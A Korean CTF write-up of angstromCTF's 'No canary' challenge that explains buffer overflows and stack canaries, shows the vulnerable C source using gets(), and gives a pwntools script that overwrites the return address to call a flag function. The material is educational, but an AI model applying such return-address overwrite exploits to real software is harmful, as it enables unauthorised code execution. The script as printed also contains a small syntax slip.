CTF/포너블

[angstromCTF] No canary - 포너블 / 버퍼오버플로우

SecurityMan 2022. 3. 19. 15:30

No canary 문제는 이번 대회에서 나온 가장 쉬운 포너블(pwnable) 문제였다.

 

대회가 끝나고 풀어서 문제 설명은 캡쳐를 못했다..ㅎ

 

pwnable 이란 시스템 해킹 분야를 말한다. 어떤 프로그램의 취약점을 통해

 

운영체제의 권한까지 획득하는 그런 종류의 분야이다.

 

문제 이름이 No canary 인것도 포너블과 관계가 있다.

 

포너블에 자주 등장하는것이 '버퍼 오버플로우' 라고하는 취약점인데,

 

프로그램에서 사용자 입력값의 길이를 검증하지 않아서 발생하는 취약점이다.

버퍼 오버플로우를 설명할 때 가장 많이 쓰는 그림이다.

 

프로그램에서 사용자의 입력값을 받으면 buffer 라는 영역에 저장된다.

 

당연히 buffer 영역을 넘어가면 저장이 되지 않도록 입력값의 길이를 검증해야하는데,

 

버퍼오버플로우는 길이를 검증하지 않아서 사용자 입력값이 SFP 를지나 RET 까지 침범하여

 

RET에 있는 주소를 변조시켜 프로그램 실행 흐름 자체를 바꾸게 된다.

 

반응형

버퍼 오버플로우의 대응책으로 canary 라는 기법을 사용하는데, 

 

canary는 잘 알고있는것처럼 카나리아라고도 불리는 새 이름이다.

 

예전에 광부들이 광산에서 작업을 할때, 일산화탄소 같은 가스에 중독되어 사망하는 경우가 많았는데,

 

이때 가스가 나오는걸 미리 탐지하기 위해서 새장에 카나리를 넣어서 가지고 들어갔었다.

 

카나리는 아무래도 작은 새다보니 작은 가스에도 금방 죽을것이고, 

 

광부들은 카나리가 죽은것을 보고 탈출을 했던 것이다.

 

 

버퍼오버플로우에서도 마찬가지다. buffer 가 끝나는 부분에 canary 라고 불리는 특정한 값을 저장해둔다.

 

만약 buffer 가 넘쳐서 canary 에 들어있던 특정한 값이 바뀌면,

 

강제로 실행을 종료해 버퍼오버플로우를 방지하는 개념이다.

 

서두가 길었는데 이 문제는 제목이 No canary 이니 

 

canary 라는 최소한의 보호장치도 없는 버퍼 오버플로우 문제라고 생각하면 된다.

 

./no_canary로 주어진 바이너리 파일을 실행시키면 집 모양 그림이 나오고

 

What's your name? 이라고 물어본다. 내가 저기에 hong 이라고 입력했더니

 

Nice to meet you, hong 이라며 내가 입력한 값을 그대로 echo 해준다.

 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    
    puts("Ahhhh, what a beautifyl morning on the farm!\n");
    puts(" 집 모양 이모티콘 ")
    
    #----------------------중략-----------------------#
    puts("What's your name?");
    
    char name[20];
    gets(name);
    
    printf("Nice to meet you, %s!\n", name);
}

해당 프로그램의 소스코드이다.

 

프로그램은 main 함수부터 실행되니 차근차근 따라가본다.

 

처음 실행시킬때 나왔던 잡다한 말들이 나오고, 이름을 물어보는 부분까지 나온 뒤에

 

name 이라는 변수에 사용자 입력값을 넣고, 그다음 바로 printf 로 출력한다.

 

위에는 flag() 라는 함수가 있는데 flag 함수는 로컬시스템에 있는 flag.txt 를 출력하는 역할을 한다.

 

이 문제의 목표는 flag 함수에 접근하여 flag.txt 의 내용을 읽는것이다.

 

그런데 아무리봐도 main 함수에서는 flag 함수를 호출하고 있지 않다.

 

flag 함수를 강제로 실행시키려면, main 함수를 버퍼오버플로우 시켜야한다.

 

gdb 라고 불리는 디버거를 이용해서 함수의 주소를 먼저 알아낸다.

 

gdb ./no_canary 라고 터미널에 입력하면 실행된다.

 

실행하고 나서 info func 라고 입력하면 각 함수의 주소를 알아낼 수 있다.

 

flag 함수의 주소는 0x0000000000401186 이다.

 

이제 그럼 다음에 할 일은 프로그램의 buffer를 가득 채우고,

 

프로그램에서 다음 실행할 함수의 주소를 담고있는 RET(리턴주소)를 flag 함수의 주소로 변조시키면 된다.

 

from pwn import *

flag = 0x0000000000401186

p = process('./no_canary')

payload = ('A'*40).encode())
payload += p64(flag)

print(p.recvuntil('name? ').decode())
p.sendline(payload)
p.interactive()

포너블 문제를 풀때는 Python pwntool 을 이용하면 쉽다.

 

pwntool 을 이용해 위처럼 코딩하면 된다.

 

buffer에 'A' 라는 문자열 40개를 넣어서 buffer를 꽉 채우고, 

 

그다음 RET 주소를 변조시키기 위해 아까 찾아놨던 flag 함수의 주소를 

 

p64(flag)를 이용해 넣어주면 된다.

 

코드를 실행시키면 플래그를 얻을 수 있다.

반응형